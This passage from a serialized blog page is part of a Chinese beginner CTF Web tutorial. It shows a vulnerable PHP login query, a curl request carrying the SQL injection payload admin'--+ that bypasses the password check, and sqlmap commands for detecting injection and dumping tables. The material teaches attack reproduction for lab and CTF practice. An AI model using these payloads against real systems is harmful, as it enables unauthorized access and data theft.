2：列数据库。",[41,14230,14231],{"className":43,"code":6243,"language":45,"meta":46,"style":46},[18,14232,14233],{"__ignoreMap":46},[50,14234,14235,14237,14239,14241,14243,14245],{"class":52,"line":53},[50,14236,6215],{"class":56},[50,14238,6218],{"class":250},[50,14240,652],{"class":651},[50,14242,5589],{"class":60},[50,14244,6225],{"class":651},[50,14246,6260],{"class":250},[15,14248,14249,14250,697],{},"预期输出：数据库列表，包含 ",[18,14251,1267],{},[15,14253,14254],{},"命令 3：导出数据。",[41,14256,14257],{"className":43,"code":6272,"language":45,"meta":46,"style":46},[18,14258,14259],{"__ignoreMap":46},[50,14260,14261,14263,14265,14267,14269,14271,14273,14275,14277,14279],{"class":52,"line":53},[50,14262,6215],{"class":56},[50,14264,6218],{"class":250},[50,14266,652],{"class":651},[50,14268,5589],{"class":60},[50,14270,6225],{"class":651},[50,14272,6289],{"class":250},[50,14274,6292],{"class":60},[50,14276,6295],{"class":250},[50,14278,6298],{"class":60},[50,14280,6301],{"class":250},[15,14282,299,14283,14285,14286,697],{},[18,14284,3429],{}," 表内容，即 ",[18,14287,5935],{},[10,14289,14291],{"id":14290},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14293,14294,14295,14298],{},"题目：登录页 ",[18,14296,14297],{},"login.php","，源码：",[41,14300,14302],{"className":5353,"code":14301,"language":5355,"meta":46,"style":46},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[18,14303,14304,14309,14314],{"__ignoreMap":46},[50,14305,14306],{"class":52,"line":53},[50,14307,14308],{},"$user = $_POST['user'];\n",[50,14310,14311],{"class":52,"line":70},[50,14312,14313],{},"$pass = $_POST['pass'];\n",[50,14315,14316],{"class":52,"line":84},[50,14317,14318],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[713,14320,14322],{"id":14321},"第一步正常登录失败","第一步：正常登录失败",[15,14324,14325,14327],{},[271,14326,273],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[41,14329,14331],{"className":43,"code":14330,"language":45,"meta":46,"style":46},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[18,14332,14333],{"__ignoreMap":46},[50,14334,14335,14337,14339,14341,14343,14346,14348,14351,14353,14356],{"class":52,"line":53},[50,14336,5584],{"class":56},[50,14338,14104],{"class":250},[50,14340,14107],{"class":60},[50,14342,652],{"class":651},[50,14344,14345],{"class":60},"http://target/login.php",[50,14347,6225],{"class":651},[50,14349,14350],{"class":250}," --data",[50,14352,652],{"class":651},[50,14354,14355],{"class":60},"user=admin&pass=wrong",[50,14357,658],{"class":651},[15,14359,1538,14360,697],{},[18,14361,14362],{},"Login failed",[713,14364,14366],{"id":14365},"第二步构造绕过","第二步：构造绕过",[15,14368,14369,14371,14372,14375],{},[271,14370,279],{},"：观察源码 ",[18,14373,14374],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14377,14378,14380,14381,14383,14384,21,14387,14390,14391,3993,14393,1177],{},[271,14379,1870],{},"：发送 payload 后看是否从 ",[18,14382,14362],{}," 变成成功页面；若失败，尝试 ",[18,14385,14386],{},"admin'#",[18,14388,14389],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[18,14392,13461],{},[18,14394,14395],{},"#",[15,14397,1398],{},[41,14399,14401],{"className":43,"code":14400,"language":45,"meta":46,"style":46},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[18,14402,14403],{"__ignoreMap":46},[50,14404,14405,14407,14409,14411,14413,14415,14417,14419,14421,14424],{"class":52,"line":53},[50,14406,5584],{"class":56},[50,14408,14104],{"class":250},[50,14410,14107],{"class":60},[50,14412,652],{"class":651},[50,14414,14345],{"class":60},[50,14416,6225],{"class":651},[50,14418,14350],{"class":250},[50,14420,652],{"class":651},[50,14422,14423],{"class":60},"user=admin'--+&pass=wrong",[50,14425,658],{"class":651},[15,14427,14428],{},"实际执行的 SQL：",[41,14430,14432],{"className":5380,"code":14431,"language":5382,"meta":46,"style":46},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[18,14433,14434],{"__ignoreMap":46},[50,14435,14436],{"class":52,"line":53},[50,14437,14431],{},[15,14439,14440,14442,14443,14446],{},[18,14441,13461],{}," 注释掉密码部分。预期输出：",[18,14444,14445],{},"Login success"," 和 flag。",[15,14448,14449,14452,14453,14456,14457,14460],{},[271,14450,14451],{},"为什么能成功","：数据库中确实存在 ",[18,14454,14455],{},"admin"," 用户，查询 ",[18,14458,14459],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[713,14462,14464],{"id":14463},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14466,14467,14469],{},[271,14468,273],{},"：用工具确认手工结论，同时自动探测其他注入点。",[41,14471,14473],{"className":43,"code":14472,"language":45,"meta":46,"style":46},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[18,14474,14475,14498,14503,14508],{"__ignoreMap":46},[50,14476,14477,14479,14481,14483,14485,14487,14489,14491,14494,14496],{"class":52,"line":53},[50,14478,6215],{"class":56},[50,14480,6218],{"class":250},[50,14482,652],{"class":651},[50,14484,14345],{"class":60},[50,14486,6225],{"class":651},[50,14488,14350],{"class":250},[50,14490,652],{"class":651},[50,14492,14493],{"class":60},"user=a&pass=b",[50,14495,6225],{"class":651},[50,14497,6228],{"class":250},[50,14499,14500],{"class":52,"line":70},[50,14501,14502],{"class":2741},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[50,14504,14505],{"class":52,"line":84},[50,14506,14507],{"class":2741},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[50,14509,14510],{"class":52,"line":145},[50,14511,14512],{"class":2741},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14514,14515,14516,14519],{},"预期输出：报告 ",[18,14517,14518],{},"Parameter: user (POST)"," 存在注入。",[10,14521,3348],{"id":3347},[15,14523,14524],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1244,14526,14527],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":46,"searchDepth":70,"depth":70,"links":14529},[14530,14531,14532,14533,14534,14535,14536,14537,14538,14539],{"id":12697,"depth":84,"text":12698},{"id":12805,"depth":84,"text":12806},{"id":12903,"depth":84,"text":12904},{"id":13498,"depth":84,"text":13499},{"id":13791,"depth":84,"text":13792},{"id":14015,"depth":84,"text":14016},{"id":14129,"depth":84,"text":14130},{"id":14193,"depth":84,"text":14194},{"id":14290,"depth":84,"text":14291},{"id":3347,"depth":84,"text":3348},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1263,"image":14542,"alt":14543,"tags":14544,"published":141},"/blogs-img/blog9.png","CTF Web 入门",[1267,6733,1269],"/blogs/ctf-web-overview",{"title":12692,"description":14540},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567850]